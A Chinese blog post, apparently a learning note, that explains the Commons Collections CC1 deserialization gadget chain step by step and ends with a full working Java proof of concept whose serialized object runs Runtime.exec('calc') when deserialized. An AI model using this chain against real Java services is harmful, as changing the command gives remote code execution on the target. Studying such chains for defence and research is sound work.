Java cc链学习

OneZ3r0 Lv3

前言

学习cc链

理解

其实,初步学习还是感觉没完全理解透彻,为什么反序列化要选择readObject而不是直接反射调用执行命令,我大概的理解如下:

readObject是反序列化过程的自动入口点,允许远程触发。而反射调用是本地API,需要主动调用。攻击者利用readObject可以在不直接执行代码的情况下,通过构造恶意数据触发漏洞,这对远程攻击尤其有效,反序列化相比于直接反射调用,是一个高度隐蔽的合法公开的流程。

我的理解是:readObject是能自动调用的一个点!所以最终一定要找到readObject,才有反序列化漏洞,我们平时一般测试的反射调用,都是手动调用的!

cc1

首先我们正常使用reflection调用计算器如下:

1
2
3
4
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

第一阶段

终点InvokerTransformer——满足我们需要的method和invoke,实现任意方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 /**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName; // 可以传入需要调用的方法名
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); // 调用了invoke

} catch (NoSuchMethodException ex) {
...
}
}

回头找哪些类能够调用transform方法,在TransformedMap类里面有两个方法可以,它们都接受任意对象

  1. checkSetValue
  2. transformValue
1
2
3
4
5
6
7
8
9
10
11
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}


protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

接着往回找valueTransformer字段,它只能在同一个类或者子类中使用且不能重写和修改,但是我们发现有静态的decorate方法可以创建TransformedMap实例对象,并且能够传入valueTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected final Transformer valueTransformer;

/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
* Constrast this with {@link #decorateTransform}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个时候也就意味着我们可以控制valueTransformer,进而控制valueTransformer.transform()->method.invoke实现命令执行


第二阶段

这个时候我们并不知道我们能否控制 当时TransformedMap类两个方法checkSetValue和transformValue的参数Object对象,我们只能再继续往回找去确认,而我们发现transformValue无路可走

image-20250312211726942
image-20250312211726942

而checkSetValue有迹可循,我们找到了它的父类,那么我们就可以继续找下去,找setValue

image-20250312211952382
image-20250312211952382

值得注意的是,这里相当于重写了java中Map interface的setValue,它的核心作用是:在设置Map Entry的 Value时,通过父类的 checkSetValue 方法对输入值进行校验或转换,自然就能走到checkSetValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* Implementation of a map entry that checks additions via setValue.
*/
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value); // 这里调用了父类的方法
return entry.setValue(value);
}
}

因此我们想要触发checkSetValue,只需要对被decorate修饰过的MapEntry进行setValue操作即可

1
2
3
4
5
6
7
8
9
10
11
12
Runtime r = Runtime.getRuntime();

InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 创建一个map
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
// 对map进行装饰
Map<Object, Object> tfm = TransformedMap.decorate(map, null, itf);
for (Map.Entry entry: tfm.entrySet()){
// 对map.entry使用setValue
entry.setValue(r);
}

至此,我们可用的链子已经找了一半了


第三阶段

我们继续找,看看能不能找到readObject。
很幸运我们在setValue的第一层就找到了,有readObject方法的类AnnotationInvocationHandler它继承了Serializable,是我们需要的

image-20250312212409673
image-20250312212409673

更好的是,它此处的setValue也是在遍历map.entry时调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // 这里调用了setValue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

它是通过new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value +"]").setMember(annotationType.members().get(name)));来控制的,我们继续跟进

先看这个类AnnotationInvocationHandler它也继承自InvocationHandler,而我们知道Java动态代理通过java.lang.reflect.InvocationHandler 接口实现。它的主要作用是为某个接口在运行时动态生成一个代理对象,代理对象会拦截所有方法调用,并将它们转发给 InvocationHandler 的实现类

来看看我们能否控制它传入的Object value呢?主要关注它的构造函数以及接受的参数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

而这里的Map<String, Object> memberValues就是我们完全可以控制的!我们只需要把上一步的写的Map传入就可以实现!需要注意的是,这里是一个default类型,只能在包内访问,所以我们需要通过反射去获取AnnotationInvocationHandler这个类

1
2
3
4
5
6
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctr = c.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);

// 创建实例对象
Object o = ctr.newInstance(Override.class, tfm);

另外Runtime对象没有继承Serilizable,它是不可序列化的,而Runtime的.class是可以序列化的,Class是所有类的原型。所以我们得通过.class来构建一个Runtime对象,但是Runtime的构造器是私有的,而Runtime类有一个静态方法getRuntime,它返回一个currentRuntime对象,刚好是我们可以利用的

1
2
3
Class c = Runtime.class;
Method grt = c.getMethod("getRuntime", null); // 因为getRuntime为无参静态方法
Runtime r = grt.invoke(null, null); // 既不需要实例,也不需要参数

这样我们就通过反射创建了一个Runtime对象,接着和之前一样去反射执行方法调用就行,这就是一个正常的反射调用

1
2
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

然后我们就根据这个去写我们的链子,因为Method那些类也是不可序列化的


第四阶段

我们现在只需要记住这下面这个相等的逻辑

1
InvokerTransformer(methodname, argstype, args).transform(object) <==> method.invoke(object, args)  <==> object.method(args)

改写如下,一一对应即可

1
2
3
4
5
6
7
8
9
10
   /*Class c = Runtime.class;
Method grt = c.getMethod("getRuntime", null);
Runtime r = (Runtime) grt.invoke(null, null);
r.exec("calc"); // 原来后面的两行可以简化为r.exec("calc"),因为我们的反射操作放在InvokerTransformer.transform里面就可以了,不需要像原来那样反射获取方法出来
*/

Class c = Runtime.class;
Method grt = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(grt);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这里在查看ChainedTransformer之后,我们可以利用它进行简化调用的操作

1
2
3
4
5
6
7
8
Transformer[] tf = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer ctf = new ChainedTransformer(tf);
ctf.transform(c);

第五阶段

我们最后看看看上面没解决的new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value +"]").setMember(annotationType.members().get(name)));的控制问题,我们本来setValue应该传一个Runtime对象,但这里传入的是一个别的,这里我们采取下断点调试的方法来完善

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        ChainedTransformer ctf = new ChainedTransformer(tf);
// ctf.transform(c);

// 创建一个map
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
// 对map进行装饰
Map<Object, Object> tfm = TransformedMap.decorate(map, null, ctf);

// 反射获取构造函数
Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctr = c2.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);

// 创建实例对象
Object o = ctr.newInstance(Override.class, tfm);

serialize(o);
// 利用AnnotationInvocationHandler的readObject触发
unserialize("ser.bin");

关注之前这部分的代码逻辑,我们需要通过两个if判断之后,且要控制Proxy对象才能触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // 这里调用了setValue
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

所以我们可以逐层下断点,先在第一个if断,看是否能运行到那里

image-20250315213337730
image-20250315213337730

我们运行到这个地方,发现无法满足if条件,原因是memberType为空,接着往回看它的逻辑,它是map中的键的名字,而我们的Map是用Map<String, Class<?>> memberTypes = annotationType.memberTypes();创建的,和annotationType有关

image-20250315213749417
image-20250315213749417

所以我们不能使用原来的Override了,因为override里面是空的

image-20250315213858965
image-20250315213858965

改用Target.class

image-20250315214002716
image-20250315214002716

这时候我们就也对应把map的key改为ElementType的“名字”——“value”

1
map.put("value", "value");

最后我们再跟进到setValue,发现无法控制了,所以我们思路转向为利用ConstantTransformer

1
2
3
public Object transform(Object input) {
return iConstant;
}

如果设定了iConstant,它无论接受哪个输入都会返回同一个value,我们只需要让最后一个点固定为Runtime.class即可实现最终走到.transform(Runtime.class)

所以在Chain里面加一个new ConstantTransformer(c)

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1_Test {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");

// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r, "calc");
// Class c = Runtime.class;
// Method grt = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) grt.invoke(null, null);
// r.exec("calc");
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r, "calc");

// 我觉得这样写就好理解多了
// InvokerTransformer(methodname, argstype, args).transform(object) <==> method.invoke(object, args) <==> object.method(args)
Class c = Runtime.class;
// Method grt = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(grt);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] tf = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer ctf = new ChainedTransformer(tf);
// ctf.transform(c);

// 创建一个map
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
// 对map进行装饰
Map<Object, Object> tfm = TransformedMap.decorate(map, null, ctf);

// 反射获取构造函数
Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctr = c2.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);

// 创建实例对象
Object o = ctr.newInstance(Target.class, tfm);

serialize(o);
unserialize("ser.bin");
/*InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 创建一个map
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
// 对map进行装饰
Map<Object, Object> tfm = TransformedMap.decorate(map, null, itf);
// for (Map.Entry entry: tfm.entrySet()){
// // 对map.entry使用setValue
// entry.setValue(r);
// }
// 反射获取构造函数
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctr = c.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);

// 创建实例对象
Object o = ctr.newInstance(Override.class, tfm);

serialize(o);
unserialize("ser.bin");*/
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
  • 标题: Java cc链学习
  • 作者: OneZ3r0
  • 创建于 : 2025-03-12 15:40:04
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/03/12/java-commons-collections/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
Java cc链学习